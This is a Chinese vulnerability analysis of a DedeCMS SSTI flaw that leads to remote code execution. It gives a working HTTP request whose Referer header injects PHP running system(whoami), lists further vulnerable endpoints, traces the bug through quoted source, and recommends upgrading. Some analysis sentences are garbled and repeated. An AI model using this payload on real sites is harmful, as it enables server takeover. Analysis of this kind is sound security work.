漏洞类型
SSTI RCE
利用条件
影响范围应用
漏洞概述
2021年9月30日，国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞，由于SQL注入漏洞利用条件极为苛刻，故这里只对该SSTI注入漏洞进行简要分析复现
漏环境搭建
【技术学习资料】
漏洞复现
这里使用phpstudy来搭建环境
网站前台：http://192.168.59.1/index.php?upcache=1
网站后台： http://192.168.59.1/dede/login.php?gotopa...
漏洞利用
- GET /plus/flink.php?dopost=save HTTP/1.1Host: 192.168.59.1Referer: <?php "system"(whoami);die;/*Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390Connection: close
类似的URL还有：
- /plus/flink.php?dopost=save/plus/users_products.php?oid=1337 /plus/download.php?aid=1337/plus/showphoto.php?aid=1337/plus/users-do.php?fmdo=sendMail/plus/posttocar.php?id=1337/plus/recommend.php
漏洞分析
漏洞入口位于plus/flink.php文件中，在该文件中如果我们传入的dopost值为save且未传递验证码时，紧接着会去调用ShowMsg函数：
之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内
- /** * 短消息函数,可以在某个动作处理后友好的提示信息 * * @param string $msg 消息提示信息 * @param string $gourl 跳转地址 * @param int $onlymsg 仅显示信息 * @param int $limittime 限制时间 * @return void */function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0){ if (empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if ($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if ($gourl == "") { $gourl = -1; } } $htmlhead = " <html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" /> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\"> <meta name=\"renderer\" content=\"webkit\"> <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\"> <base target='_self'/> </head> <body> " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . " <center style=\"width:450px\" class=\"uk-container\"> <div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\"> <div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息！</div> <script>\r\n"; $htmlfoot = " </script> </center> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script> </body>\r\n</html>\r\n"; $litime = ($limittime == 0 ? 1000 : $limittime); $func = ''; if ($gourl == '-1') { if ($limittime == 0) { $litime = 3000; } $gourl = "javascript:history.go(-1);"; } if ($gourl == '' || $onlymsg == 1) { $msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>"; } else { //当网址为:close::objname 时, 关闭父框架的id=objname元素 if (preg_match('/close::/', $gourl)) { $tgobj = trim(preg_replace('/close::/', '', $gourl)); $gourl = 'javascript:;'; $func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n"; } $func .= "var pgo=0; function JumpUrl(){ if(pgo==0){ location='$gourl'; pgo=1; } }\r\n"; $rmsg = $func; $rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n"; $rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n"; $rmsg .= "document.write(\""; if ($onlymsg == 0) { if ($gourl != 'javascript:;' && $gourl != '') { $rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应，请点击这里...</a>"; $rmsg .= "<br/></div>\");\r\n"; $rmsg .= "setTimeout('JumpUrl()',$litime);"; } else { $rmsg .= "<br/></div>\");\r\n"; } } else { $rmsg .= "<br/><br/></div>\");\r\n"; } $msg = $htmlhead . $rmsg . $htmlfoot; } $tpl = new DedeTemplate(); $tpl->LoadString($msg); $tpl->Display();}
在这里我们可以看到如果gourl被设置为?1(间接可控)，则攻击者可以通过HTTPREFERER控制gourl被设置为?1(间接可控)，则攻击者可以通过HTTPREFERER控制gourl处变量的值，而该变量未经过滤直接赋值给变量gourl，之后经过一系列的操作之后将gourl，之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用tpl?>LoadString进行页面渲染操作，之后跟进LoadString可以看到此处的sourceString变量直接由tpl?>LoadString进行页面渲染操作，之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来，该变量攻击者可控，之后将其进行一次md5计算，然后设置缓存文件和缓存配置文件名，缓存文件位于data\tplcache目录，之后调用ParserTemplate对文件进行解析：
ParserTemplate如下：
- /** * 解析模板 * * @access public * @return void */ public function ParseTemplate() { if ($this->makeLoop > 5) { return; } $this->count = -1; $this->cTags = array(); $this->isParse = true; $sPos = 0; $ePos = 0; $tagStartWord = $this->tagStartWord; $fullTagEndWord = $this->fullTagEndWord; $sTagEndWord = $this->sTagEndWord; $tagEndWord = $this->tagEndWord; $startWordLen = strlen($tagStartWord); $sourceLen = strlen($this->sourceString); if ($sourceLen <= ($startWordLen + 3)) { return; } $cAtt = new TagAttributeParse(); $cAtt->CharToLow = true; //遍历模板字符串，请取标记及其属性信息 $t = 0; $preTag = ''; $tswLen = strlen($tagStartWord); @$cAtt->cAttributes->items = array(); for ($i = 0; $i < $sourceLen; $i++) { $ttagName = ''; //如果不进行此判断，将无法识别相连的两个标记 if ($i - 1 >= 0) { $ss = $i - 1; } else { $ss = 0; } $tagPos = strpos($this->sourceString, $tagStartWord, $ss); //判断后面是否还有模板标记 if ($tagPos == 0 && ($sourceLen - $i < $tswLen || substr($this->sourceString, $i, $tswLen) != $tagStartWord) ) { $tagPos = -1; break; } //获取TAG基本信息 for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) { if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) { break; } else { $ttagName .= $this->sourceString[$j]; } } if ($ttagName != '') { $i = $tagPos + $startWordLen; $endPos = -1; //判断 '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近 $fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord; $e1 = strpos($this->sourceString, $sTagEndWord, $i); $e2 = strpos($this->sourceString, $tagStartWord, $i); $e3 = strpos($this->sourceString, $fullTagEndWordThis, $i); $e1 = trim($e1); $e2 = trim($e2); $e3 = trim($e3); $e1 = ($e1 == '' ? '-1' : $e1); $e2 = ($e2 == '' ? '-1' : $e2); $e3 = ($e3 == '' ? '-1' : $e3); if ($e3 == -1) { //不存在'{/tag:标记' $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else if ($e1 == -1) { //不存在 '/}' $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } //同时存在 '/}' 和 '{/tag:标记' else { //如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近，则认为结束标志是 '/}'，否则结束标志为 '{/tag:标记' if ($e1 < $e2 && $e1 < $e3) { $endPos = $e1; $elen = $endPos + strlen($sTagEndWord); } else { $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } } //如果找不到结束标记，则认为这个标记存在错误 if ($endPos == -1) { echo "Tpl Character postion $tagPos, '$ttagName' Error！<br />\r\n"; break; } $i = $elen; //分析所找到的标记位置等信息 $attStr = ''; $innerText = ''; $startInner = 0; for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) { if ($startInner == 0) { if ($this->sourceString[$j] == $tagEndWord) { $startInner = 1; continue; } else { $attStr .= $this->sourceString[$j]; } } else { $innerText .= $this->sourceString[$j]; } } $ttagName = strtolower($ttagName); //if、php标记，把整个属性串视为属性 if (preg_match("/^if[0-9]{0,}$/", $ttagName)) { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr); $innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText); } else if ($ttagName == 'php') { $cAtt->cAttributes = new TagAttribute(); $cAtt->cAttributes->count = 2; $cAtt->cAttributes->items['tagname'] = $ttagName; $cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim( preg_replace( "/^php[0-9]{0,}[\r\n\t ]/", "", $attStr ) ) . "\r\n?" . '>'; } else { //普通标记，解释属性 $cAtt->SetSource($attStr); } $this->count++; $cTag = new Tag(); $cTag->tagName = $ttagName; $cTag->startPos = $tagPos; $cTag->endPos = $i; $cTag->cAtt = $cAtt->cAttributes; $cTag->isCompiler = false; $cTag->tagID = $this->count; $cTag->innerText = $innerText; $this->cTags[$this->count] = $cTag; } else { $i = $tagPos + $startWordLen; break; } } //结束遍历模板字符串 if ($this->count > -1 && $this->isCompiler) { $this->CompilerAll(); } }
之后返回上一级，在这里会紧接着调用Display函数对解析结果进行展示，在这里会调用WriteCache函数
在WriteCache函数中写入缓存文件：
在这里使用GetResult返回值sourceString来设置$result变量，该变量包含攻击者控制的输入数据：
之后调用CheckDisabledFunctions函数进行检查操作，该函数主要用于检查是否存在被禁止的函数，然后通过token_get_all_nl函数获取输入，然而处理时并没有过滤双引号，存在被绕过的风险，攻击者可以通过将恶意PHP写到临时文件，之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行：
安全建议
目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版，建议升级到该版本
